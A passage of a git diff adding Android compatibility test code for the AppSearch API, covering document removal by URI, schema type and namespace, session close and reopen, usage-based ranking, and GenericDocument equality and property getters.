+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Test if we delete a nonexistent URI.
+        deleteResult = mDb1.remove(new RemoveByUriRequest.Builder().addUris("uri1").build()).get();
+        assertThat(deleteResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testRemoveByTypes() throws Exception {
+        // Schema registration
+        AppSearchSchema genericSchema = new AppSearchSchema.Builder("Generic").build();
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(genericSchema)
+                                .build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        GenericDocument document1 = new GenericDocument.Builder<>("uri3", "Generic").build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2, document1)
+                                .build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1", "uri2", "uri3"))
+                .hasSize(3);
+
+        // Delete the email type
+        mDb1.remove(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterSchemas(AppSearchEmail.SCHEMA_TYPE)
+                                .build())
+                .get();
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUris("uri1", "uri2", "uri3").build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getFailures().get("uri2").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getSuccesses().get("uri3")).isEqualTo(document1);
+    }
+
+    @Test
+    public void testRemoveByTypes_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+        assertThat(doGet(mDb2, GenericDocument.DEFAULT_NAMESPACE, "uri2")).hasSize(1);
+
+        // Delete the email type in instance 1
+        mDb1.remove(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterSchemas(AppSearchEmail.SCHEMA_TYPE)
+                                .build())
+                .get();
+
+        // Make sure it's really gone in instance 1
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUris("uri1").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Make sure it's still in instance 2.
+        getResult = mDb2.getByUri(new GetByUriRequest.Builder().addUris("uri2").build()).get();
+        assertThat(getResult.isSuccess()).isTrue();
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+    }
+
+    @Test
+    public void testRemoveByNamespace() throws Exception {
+        // Schema registration
+        AppSearchSchema genericSchema =
+                new AppSearchSchema.Builder("Generic")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("foo")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .build())
+                        .build();
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(genericSchema)
+                                .build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("email")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("email")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("uri3", "Generic")
+                        .setNamespace("document")
+                        .setPropertyString("foo", "bar")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2, document1)
+                                .build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, /*namespace=*/ "email", "uri1", "uri2")).hasSize(2);
+        assertThat(doGet(mDb1, /*namespace=*/ "document", "uri3")).hasSize(1);
+
+        // Delete the email namespace
+        mDb1.remove(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterNamespaces("email")
+                                .build())
+                .get();
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(
+                                new GetByUriRequest.Builder()
+                                        .setNamespace("email")
+                                        .addUris("uri1", "uri2")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getFailures().get("uri2").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        getResult =
+                mDb1.getByUri(
+                                new GetByUriRequest.Builder()
+                                        .setNamespace("document")
+                                        .addUris("uri3")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isTrue();
+        assertThat(getResult.getSuccesses().get("uri3")).isEqualTo(document1);
+    }
+
+    @Test
+    public void testRemoveByNamespaces_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("email")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("email")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, /*namespace=*/ "email", "uri1")).hasSize(1);
+        assertThat(doGet(mDb2, /*namespace=*/ "email", "uri2")).hasSize(1);
+
+        // Delete the email namespace in instance 1
+        mDb1.remove(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterNamespaces("email")
+                                .build())
+                .get();
+
+        // Make sure it's really gone in instance 1
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(
+                                new GetByUriRequest.Builder()
+                                        .setNamespace("email")
+                                        .addUris("uri1")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Make sure it's still in instance 2.
+        getResult =
+                mDb2.getByUri(
+                                new GetByUriRequest.Builder()
+                                        .setNamespace("email")
+                                        .addUris("uri2")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isTrue();
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+    }
+
+    @Test
+    public void testRemoveAll_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+        assertThat(doGet(mDb2, GenericDocument.DEFAULT_NAMESPACE, "uri2")).hasSize(1);
+
+        // Delete the all document in instance 1
+        mDb1.remove("", new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+
+        // Make sure it's really gone in instance 1
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUris("uri1").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Make sure it's still in instance 2.
+        getResult = mDb2.getByUri(new GetByUriRequest.Builder().addUris("uri2").build()).get();
+        assertThat(getResult.isSuccess()).isTrue();
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+    }
+
+    @Test
+    public void testRemoveAll_termMatchType() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        AppSearchEmail email3 =
+                new AppSearchEmail.Builder("uri3")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 3")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        AppSearchEmail email4 =
+                new AppSearchEmail.Builder("uri4")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 4")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+        checkIsBatchResultSuccess(
+                mDb2.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email3, email4)
+                                .build()));
+
+        // Check the presence of the documents
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(2);
+        searchResults =
+                mDb2.search(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(2);
+
+        // Delete the all document in instance 1 with TERM_MATCH_PREFIX
+        mDb1.remove("", new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+        searchResults =
+                mDb1.search(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).isEmpty();
+
+        // Delete the all document in instance 2 with TERM_MATCH_EXACT_ONLY
+        mDb2.remove(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build())
+                .get();
+        searchResults =
+                mDb2.search(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).isEmpty();
+    }
+
+    @Test
+    public void testRemoveAllAfterEmpty() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, "namespace", "uri1")).hasSize(1);
+
+        // Remove the document
+        checkIsBatchResultSuccess(
+                mDb1.remove(
+                        new RemoveByUriRequest.Builder()
+                                .setNamespace("namespace")
+                                .addUris("uri1")
+                                .build()));
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUris("uri1").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Delete the all documents
+        mDb1.remove("", new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+
+        // Make sure it's still gone
+        getResult = mDb1.getByUri(new GetByUriRequest.Builder().addUris("uri1").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testCloseAndReopen() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail).build()));
+
+        // close and re-open the appSearchSession
+        mDb1.close();
+        mDb1 = createSearchSession(DB_NAME_1).get();
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).containsExactly(inEmail);
+    }
+
+    @Test
+    public void testCallAfterClose() throws Exception {
+
+        // Create a same-thread database by inject an executor which could help us maintain the
+        // execution order of those async tasks.
+        Context context = ApplicationProvider.getApplicationContext();
+        AppSearchSessionShim sameThreadDb =
+                createSearchSession("sameThreadDb", MoreExecutors.newDirectExecutorService()).get();
+
+        try {
+            // Schema registration -- just mutate something
+            sameThreadDb
+                    .setSchema(
+                            new SetSchemaRequest.Builder()
+                                    .addSchemas(AppSearchEmail.SCHEMA)
+                                    .build())
+                    .get();
+
+            // Close the database. No further call will be allowed.
+            sameThreadDb.close();
+
+            // Try to query the closed database
+            // We are using the same-thread db here to make sure it has been closed.
+            IllegalStateException e =
+                    expectThrows(
+                            IllegalStateException.class,
+                            () ->
+                                    sameThreadDb.search(
+                                            "query",
+                                            new SearchSpec.Builder()
+                                                    .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                                    .build()));
+            assertThat(e).hasMessageThat().contains("AppSearchSession has already been closed");
+        } finally {
+            // To clean the data that has been added in the test, need to re-open the session and
+            // set an empty schema.
+            AppSearchSessionShim reopen =
+                    createSearchSession("sameThreadDb", MoreExecutors.newDirectExecutorService())
+                            .get();
+            reopen.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+        }
+    }
+
+    @Test
+    public void testReportUsage() throws Exception {
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents.
+        AppSearchEmail email1 = new AppSearchEmail.Builder("uri1").build();
+        AppSearchEmail email2 = new AppSearchEmail.Builder("uri2").build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Email 1 has more usages, but email 2 has more recent usages.
+        mDb1.reportUsage(
+                        new ReportUsageRequest.Builder()
+                                .setUri("uri1")
+                                .setUsageTimeMillis(10)
+                                .build())
+                .get();
+        mDb1.reportUsage(
+                        new ReportUsageRequest.Builder()
+                                .setUri("uri1")
+                                .setUsageTimeMillis(20)
+                                .build())
+                .get();
+        mDb1.reportUsage(
+                        new ReportUsageRequest.Builder()
+                                .setUri("uri1")
+                                .setUsageTimeMillis(30)
+                                .build())
+                .get();
+        mDb1.reportUsage(
+                        new ReportUsageRequest.Builder()
+                                .setUri("uri2")
+                                .setUsageTimeMillis(100)
+                                .build())
+                .get();
+        mDb1.reportUsage(
+                        new ReportUsageRequest.Builder()
+                                .setUri("uri2")
+                                .setUsageTimeMillis(200)
+                                .build())
+                .get();
+
+        // Query by number of usages
+        List<GenericDocument> documents =
+                convertSearchResultsToDocuments(
+                        mDb1.search(
+                                "",
+                                new SearchSpec.Builder()
+                                        .setRankingStrategy(SearchSpec.RANKING_STRATEGY_USAGE_COUNT)
+                                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                        .build()));
+        assertThat(documents).containsExactly(email1, email2).inOrder();
+
+        // Query by most recent usage
+        documents =
+                convertSearchResultsToDocuments(
+                        mDb1.search(
+                                "",
+                                new SearchSpec.Builder()
+                                        .setRankingStrategy(
+                                                SearchSpec
+                                                        .RANKING_STRATEGY_USAGE_LAST_USED_TIMESTAMP)
+                                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                        .build()));
+        assertThat(documents).containsExactly(email2, email1).inOrder();
+    }
+
+    @Test
+    public void testFlush() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+
+        AppSearchBatchResult<String, Void> result =
+                checkIsBatchResultSuccess(
+                        mDb1.put(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocuments(email)
+                                        .build()));
+        assertThat(result.getSuccesses()).containsExactly("uri1", null);
+        assertThat(result.getFailures()).isEmpty();
+
+        // The future returned from maybeFlush will be set as a void or an Exception on error.
+        mDb1.maybeFlush().get();
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/GenericDocumentCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/GenericDocumentCtsTest.java
new file mode 100644
index 0000000..657d556
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/GenericDocumentCtsTest.java
@@ -0,0 +1,286 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.appsearch.GenericDocument;
+
+import org.junit.Test;
+
+public class GenericDocumentCtsTest {
+    private static final byte[] sByteArray1 = new byte[] {(byte) 1, (byte) 2, (byte) 3};
+    private static final byte[] sByteArray2 = new byte[] {(byte) 4, (byte) 5, (byte) 6, (byte) 7};
+    private static final GenericDocument sDocumentProperties1 =
+            new GenericDocument.Builder<>("sDocumentProperties1", "sDocumentPropertiesSchemaType1")
+                    .setCreationTimestampMillis(12345L)
+                    .build();
+    private static final GenericDocument sDocumentProperties2 =
+            new GenericDocument.Builder<>("sDocumentProperties2", "sDocumentPropertiesSchemaType2")
+                    .setCreationTimestampMillis(6789L)
+                    .build();
+
+    @Test
+    public void testDocumentEquals_identical() {
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setTtlMillis(1L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .build();
+        GenericDocument document2 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setTtlMillis(1L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .build();
+        assertThat(document1).isEqualTo(document2);
+        assertThat(document1.hashCode()).isEqualTo(document2.hashCode());
+    }
+
+    @Test
+    public void testDocumentEquals_differentOrder() {
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .build();
+
+        // Create second document with same parameter but different order.
+        GenericDocument document2 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .build();
+        assertThat(document1).isEqualTo(document2);
+        assertThat(document1.hashCode()).isEqualTo(document2.hashCode());
+    }
+
+    @Test
+    public void testDocumentEquals_failure() {
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .build();
+
+        // Create second document with same order but different value.
+        GenericDocument document2 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 4L) // Different
+                        .build();
+        assertThat(document1).isNotEqualTo(document2);
+        assertThat(document1.hashCode()).isNotEqualTo(document2.hashCode());
+    }
+
+    @Test
+    public void testDocumentEquals_repeatedFieldOrder_failure() {
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .build();
+
+        // Create second document with same order but different value.
+        GenericDocument document2 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyBoolean("booleanKey1", true, true, false) // Different
+                        .build();
+        assertThat(document1).isNotEqualTo(document2);
+        assertThat(document1.hashCode()).isNotEqualTo(document2.hashCode());
+    }
+
+    @Test
+    public void testDocumentGetSingleValue() {
+        GenericDocument document =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setScore(1)
+                        .setTtlMillis(1L)
+                        .setPropertyLong("longKey1", 1L)
+                        .setPropertyDouble("doubleKey1", 1.0)
+                        .setPropertyBoolean("booleanKey1", true)
+                        .setPropertyString("stringKey1", "test-value1")
+                        .setPropertyBytes("byteKey1", sByteArray1)
+                        .setPropertyDocument("documentKey1", sDocumentProperties1)
+                        .build();
+        assertThat(document.getUri()).isEqualTo("uri1");
+        assertThat(document.getTtlMillis()).isEqualTo(1L);
+        assertThat(document.getSchemaType()).isEqualTo("schemaType1");
+        assertThat(document.getCreationTimestampMillis()).isEqualTo(5);
+        assertThat(document.getScore()).isEqualTo(1);
+        assertThat(document.getPropertyLong("longKey1")).isEqualTo(1L);
+        assertThat(document.getPropertyDouble("doubleKey1")).isEqualTo(1.0);
+        assertThat(document.getPropertyBoolean("booleanKey1")).isTrue();
+        assertThat(document.getPropertyString("stringKey1")).isEqualTo("test-value1");
+        assertThat(document.getPropertyBytes("byteKey1"))
+                .asList()
+                .containsExactly((byte) 1, (byte) 2, (byte) 3);
+        assertThat(document.getPropertyDocument("documentKey1")).isEqualTo(sDocumentProperties1);
+    }
+
+    @Test
+    public void testDocumentGetArrayValues() {
+        GenericDocument document =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .build();
+
+        assertThat(document.getUri()).isEqualTo("uri1");
+        assertThat(document.getSchemaType()).isEqualTo("schemaType1");
+        assertThat(document.getPropertyLongArray("longKey1")).asList().containsExactly(1L, 2L, 3L);
+        assertThat(document.getPropertyDoubleArray("doubleKey1"))
+                .usingExactEquality()
+                .containsExactly(1.0, 2.0, 3.0);
+        assertThat(document.getPropertyBooleanArray("booleanKey1"))
+                .asList()
+                .containsExactly(true, false, true);
+        assertThat(document.getPropertyStringArray("stringKey1"))
+                .asList()
+                .containsExactly("test-value1", "test-value2", "test-value3");
+        assertThat(document.getPropertyBytesArray("byteKey1"))
+                .asList()
+                .containsExactly(sByteArray1, sByteArray2);
